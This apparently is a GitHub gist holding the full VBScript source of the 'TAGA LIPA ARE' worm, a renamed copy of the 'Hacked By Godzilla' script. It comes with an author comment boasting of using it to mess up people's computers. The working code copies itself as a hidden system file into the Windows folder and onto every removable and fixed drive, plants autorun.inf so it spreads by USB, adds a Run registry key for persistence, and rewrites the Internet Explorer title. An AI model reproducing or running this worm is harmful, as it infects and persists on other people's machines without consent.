The story behind "TAGA LIPA ARE" virus and its source code.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'Few years ago, I remember fucking around with this so called "Hacked By Godzilla" virus. | |
'It was a Visual Basic Script with a filename MS32DLL.dll.vbs that fucks up Internet | |
'Explorer title bar. | |
'I have been into writing simple Windows OS viruses before the time I learned about | |
'this fucking VBS virus. | |
'We all know that the famous "I LOVE YOU" virus was a Visual Basic Script (VBS) too | |
'and it gave me an idea to test | |
'if that scripting language can still be reliable to fuck up peoples computer that time. | |
'What I did was, I only replaced "MS32DLL" with "FS6519", pressing Ctrl + H | |
'(Find & Replace) with the script opened in Notepad. | |
'For those people who thought that the "TAGA LIPA ARE" author wants to claim | |
'that the script was originally written by him, | |
'well, all I can say is please read the source code below carefully and | |
'hope you guys will notice the word "MODIFIED" there. Thank you. :D | |
'----------------------------------------------------------------------------------------------------------------------------------- | |
'THIS IS A MODIFIED VERSION BY: F. E. SILVA | |
'MABUHAY ANG LIPA | |
on error resume next | |
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd | |
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe FS6519.dll.vbs" | |
set fs = createobject("Scripting.FileSystemObject") | |
set mf = fs.getfile(Wscript.ScriptFullname) | |
dim text,size | |
size = mf.size | |
check = mf.drive.drivetype | |
set text=mf.openastextstream(1,-2) | |
do while not text.atendofstream | |
mysource=mysource&text.readline | |
source=mysource & vbcrlf | |
loop | |
do | |
Set winpath = fs.getspecialfolder(0) | |
set tf = fs.getfile(winpath & "\FS6519.dll.vbs") | |
tf.attributes = 32 | |
set tf=fs.createtextfile(winpath & "\FS6519.dll.vbs",2,true) | |
tf.write mysource | |
tf.close | |
set tf = fs.getfile(winpath & "\FS6519.dll.vbs") | |
tf.attributes = 39 | |
for each flashdrive in fs.drives | |
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then | |
set tf=fs.getfile(flashdrive.path &"\FS6519.dll.vbs") | |
tf.attributes =32 | |
set tf=fs.createtextfile(flashdrive.path &"\FS6519.dll.vbs",2,true) | |
tf.write mysource | |
tf.close | |
set tf=fs.getfile(flashdrive.path &"\FS6519.dll.vbs") | |
tf.attributes =39 | |
set tf =fs.getfile(flashdrive.path &"\autorun.inf") | |
tf.attributes = 32 | |
set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true) | |
tf.write atr | |
tf.close | |
set tf =fs.getfile(flashdrive.path &"\autorun.inf") | |
tf.attributes=39 | |
end if | |
next | |
set rg = createobject("WScript.Shell") | |
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\FS6519",winpath&"\FS6519.dll.vbs" | |
rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","TAGA LIPA ARE!" | |
if check <> 1 then | |
Wscript.sleep 200000 | |
end if | |
loop while check<>1 | |
set sd = createobject("Wscript.shell") | |
sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment